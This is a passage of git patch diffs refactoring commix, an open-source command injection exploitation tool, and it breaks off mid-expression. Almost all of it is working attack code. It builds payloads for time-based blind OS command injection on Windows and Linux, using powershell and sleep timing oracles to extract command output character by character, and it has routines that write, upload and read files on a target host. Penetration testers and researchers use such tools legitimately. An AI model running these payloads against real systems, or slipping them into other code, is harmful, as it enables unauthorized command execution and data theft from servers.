settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ) else: if separator == ";" : @@ -492,22 +492,22 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) else: @@ -559,24 +559,22 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) else: if separator == ";" : diff --git a/src/utils/settings.py b/src/utils/settings.py index 23177875a3..e08bbaea8f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "89" +REVISION = "90" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 4a1b56f908135568a6843a4f433b6fdf09b475e1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Jun 2022 09:42:01 +0300 Subject: [PATCH 168/560] Minor refactoring --- src/core/injections/controller/checks.py | 16 +- .../techniques/file_based/fb_payloads.py | 2 +- .../tempfile_based/tfb_file_access.py | 56 ++--- .../techniques/tempfile_based/tfb_handler.py | 8 +- .../techniques/tempfile_based/tfb_payloads.py | 217 ++++++++---------- src/utils/settings.py | 2 +- 6 files changed, 136 insertions(+), 165 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4daae493b3..cbae53b3ce 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1627,12 +1627,12 @@ def generate_char_pool(num_of_chars): if menu.options.charset: char_pool = [ord(c) for c in menu.options.charset] else: - if num_of_chars == 1: - # Checks {A..Z},{a..z},{0..9},{Symbols} - char_pool = list(range(65, 90)) + list(range(96, 122)) - else: - # Checks {a..z},{A..Z},{0..9},{Symbols} - char_pool = list(range(96, 122)) + list(range(65, 90)) + # if num_of_chars == 1: + # # Checks {A..Z},{a..z},{0..9},{Symbols} + # char_pool = list(range(65, 90)) + list(range(96, 122)) + # else: + # # Checks {a..z},{A..Z},{0..9},{Symbols} + char_pool = list(range(96, 122)) + list(range(65, 90)) char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool @@ -2042,7 +2042,7 @@ def find_filename(dest_to_write, content): # _ = settings.FILE_WRITE if settings.TARGET_OS == "win": # _ = settings.FILE_WRITE_WIN - cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + " '" + content + "'" + cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname return fname, tmp_fname, cmd @@ -2078,7 +2078,7 @@ def remove_parenthesis(cmd): def write_content(content, dest_to_write): content = quoted_cmd(content) if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + " '" + content + "'" + cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write return cmd diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b0984350ef..15c56d2071 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -28,7 +28,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == "win": payload = (separator + - settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '" + TAG + "'\"" + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\"" ) else: payload = (separator + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index af0174c117..9235b029a7 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -33,6 +33,7 @@ Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector @@ -40,32 +41,19 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # cmd = "if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) else: cmd = checks.write_content(content, dest_to_write) cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = checks.check_file(dest_to_write) + cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -73,6 +61,20 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) + +""" +Upload a file on the target host. +""" +def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + cmd, dest_to_upload = checks.check_file_to_upload() + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) """ Read a file from the target host. @@ -91,20 +93,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, print(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - cmd, dest_to_upload = checks.check_file_to_upload() - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - checks.file_upload_status(shell, dest_to_upload) - """ Check the defined options """ @@ -114,11 +102,6 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - if menu.options.file_upload: if settings.TARGET_OS == "win": check_option = "--file-upload" @@ -128,4 +111,9 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False: + settings.FILE_ACCESS_DONE = True + # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 636bf0b8ea..f10cf26b55 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -53,10 +53,9 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'" print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == "win": - cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: - settings.WEB_ROOT = "" - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ @@ -271,7 +270,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: - cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" + rand_num = randv1 + randv2 + cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 1a2cd689a8..7d3d540646 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -27,27 +27,25 @@ """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" payload = (pipe + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" - " do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + "" + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" - " do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) else: @@ -113,26 +111,24 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " " + payload = (pipe + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + "" + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) else: if separator == ";" : @@ -175,7 +171,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque elif separator == "||" : pipe = "|" payload = (pipe + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " @@ -199,42 +195,38 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do @set /p =%i" + - settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "" + OUTPUT_TEXTFILE + "< nul) " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + pipe + + "for /f \"tokens=*\" %x in ('cmd /c \"" + + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do @set /p =%i" + - settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "" + OUTPUT_TEXTFILE + "< nul) " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + ampersand + + "for /f \"tokens=*\" %x in ('cmd /c \"" + + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) else: @@ -314,18 +306,16 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do @set /p =%i" + - settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + pipe + " " + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -333,13 +323,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do @set /p =%i" + - settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + ampersand + "" + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" ) else: if separator == ";" : @@ -369,11 +357,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "[ " + str(j) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: @@ -382,7 +370,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ elif separator == "||" : pipe = "|" payload = (pipe + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) @@ -405,13 +393,13 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" - " do if %i==" +str(ascii_char)+ " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -419,17 +407,17 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" - " do if %i==" +str(ascii_char)+ " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: if separator == ";" : payload = (separator + # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -439,8 +427,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http #separator = "\n" payload = (separator + # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -450,10 +438,10 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "sleep 0" + separator + + "sleep 0" + separator + # Use space as delimiter - "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) 